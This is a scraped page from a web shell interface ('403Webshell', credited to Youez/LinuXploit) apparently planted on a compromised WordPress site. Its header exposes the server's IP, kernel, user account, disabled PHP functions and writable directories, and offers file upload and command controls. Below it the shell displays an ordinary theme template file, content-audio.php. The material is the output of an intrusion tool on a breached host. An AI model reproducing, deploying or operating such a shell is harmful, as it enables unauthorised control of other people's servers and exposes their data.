403Webshell
Server IP : 104.26.5.103  /  Your IP : 216.73.216.4
Web Server : nginx/1.27.1
System : Linux in-5 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : arabianexpress ( 1872)
PHP Version : 8.0.30
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v9321/leapdubai/public_html/wp-content/themes/printx/template-parts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v9321/leapdubai/public_html/wp-content/themes/printx/template-parts/content-audio.php
<?php
/**
 * Template part for displaying posts
 *
 * @link https://developer.wordpress.org/themes/basics/template-hierarchy/
 *
 * @package printx
 */

$printx_audio_url = function_exists( 'tpmeta_field' ) ? tpmeta_field( 'printx_post_audio' ) : NULL;
$categories = get_the_terms( $post->ID, 'category' );
$printx_blog_cat = get_theme_mod( 'printx_blog_cat', false );
if ( is_single() ): 
?>

<article id="post-<?php the_ID();?>" <?php post_class( 'postbox__item mb-20 transition-3' );?>>
    <?php if(!empty($printx_audio_url)) : ?>
    <div class="postbox__thumb w-img">
        <a href="<?php the_permalink();?>">
            <?php echo wp_oembed_get( $printx_audio_url ); ?>
        </a>
    </div>
    <?php endif; ?>
    <div class="postbox__content">
        <?php get_template_part( 'template-parts/blog/blog-meta' ); ?>
        <div class="postbox__text">
            <?php the_content();?>
            <?php
            wp_link_pages( [
                'before'      => '<div class="page-links">' . esc_html__( 'Pages:', 'printx' ),
                'after'       => '</div>',
                'link_before' => '<span class="page-number">',
                'link_after'  => '</span>',
            ] );
             ?>
        </div>
    </div>
</article>

<?php else: ?>

<article id="post-<?php the_ID();?>" <?php post_class( 'postbox__item mb-60 transition-3' );?>>
    <?php if(!empty($printx_audio_url)) : ?>
    <div class="postbox__thumb w-img">
        <a href="<?php the_permalink();?>">
            <?php echo wp_oembed_get( $printx_audio_url ); ?>
        </a>
    </div>
    <?php endif; ?>
    <div class="postbox__content">
        <?php get_template_part( 'template-parts/blog/blog-meta' ); ?>
        <h3 class="postbox__title">
            <a href="<?php the_permalink(); ?>"><?php the_title(); ?></a>
        </h3>
        <div class="postbox__text">
            <?php the_excerpt();?>
        </div>
        <?php get_template_part( 'template-parts/blog/blog-btn' ); ?>
    </div>
</article>

<?php
endif;?>

Youez - 2016 - github.com/yon3zu
LinuXploit